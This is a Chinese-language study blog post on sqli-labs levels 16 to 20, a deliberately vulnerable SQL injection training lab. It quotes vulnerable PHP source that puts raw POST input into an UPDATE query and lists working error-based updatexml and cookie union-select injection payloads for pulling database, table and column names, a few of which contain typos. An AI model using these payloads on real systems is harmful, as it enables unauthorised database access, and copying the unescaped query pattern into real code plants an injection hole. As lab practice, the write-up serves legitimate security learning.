Less-16 POST - Blind- Boolian/Time Based - Double quotes (基於bool型/時間延遲的雙引號POST型盲注)
布爾型注入,跟less-15差不多,只需要把'
換成')
今天發現另一個新方式,只需要在Google的hackbar操作,比較簡單
新方法來自wkend的博客:sqli-labs練習(十五、十六)
Less-17 POST - Update Query- Error Based - String (基於錯誤的更新查詢POST注入)
這個UpdateXML(‘xml_target’,‘xpath_expr’,‘new_xml’)是個新東西
要看一下源碼
$uname = check_input($_POST['uname']);
$passwd = $_POST['passwd'];
@$sql = "SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
$row1 = $row['username'];
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
if (mysql_error())
print_r(mysql_error());
echo '<img src="../images/flag1.jpg"/>';
}
else
echo '<img src="../images/slap1.jpg"/>';
從源碼中可以看到:POST接收的uname和passwd後,check_input()
首先對uname查詢,若uname存在則用passwd替換password,若不存在則顯示slap1.jpg。
mysql_real_escape_string()
還會在\x00, \n, \r, \, ', " and \x1a
這些字符前加入反斜線進行轉義,防止注入。
suoyiyishanglai只有先猜測有一個admin,就只要用戶名正確,數據庫就能返回錯誤信息,就可以在查詢注入裏找返回信息。
分別爆破:
- 爆password
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,version(),0x7e),1)--+&Submit
- 爆庫payload
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,database(),0x7e),1)--+&Submit
- 爆表
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,select group_concat(table_name)from information_schema.tables where table_achema=database()),0x7e),1)--+&submit=Submit
- 爆列
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','user','first_name','last_name','avatar','last_login','failed_login')),0x7e),1) --+ &submit=Submit
Less-18 POST - Header Injection - Uagent field - Error based (基於錯誤的用戶代理,頭部POST注入)
簡單嘗試了一下注入,結果都一樣,琢磨着和less-17一樣。
源碼顯示但是把passwo也做了check。還涉及了一個HTTP請求頭。並且會回顯IP。登陸成功後回顯uagent,並將uagent、IP、uname插入到security數據庫的uagents表的uagent、ip_address、username三個字段中。
所以
不會做
Less-19 POST - Header Injection - Referer field - Error based (基於頭部的Referer POST報錯注入)
和less-18一樣,注入是refer
所以,也不會做
Less-20 POST - Cookie injections - Uagent field - Error based (基於錯誤的cookie頭部POST注入)
php源碼提到了查詢語句查詢$cookee,所以就在cookies裏面進行注入,頁面顯示用戶名是admin,應該就沒錯了。
爆庫
Cookie: uname=-admin' union select 1,2,database()--+
頁面顯示password說明爆破成功,之後就和前面一樣修改一下playload繼續爆就行。
今天兩道題沒做出來,生氣了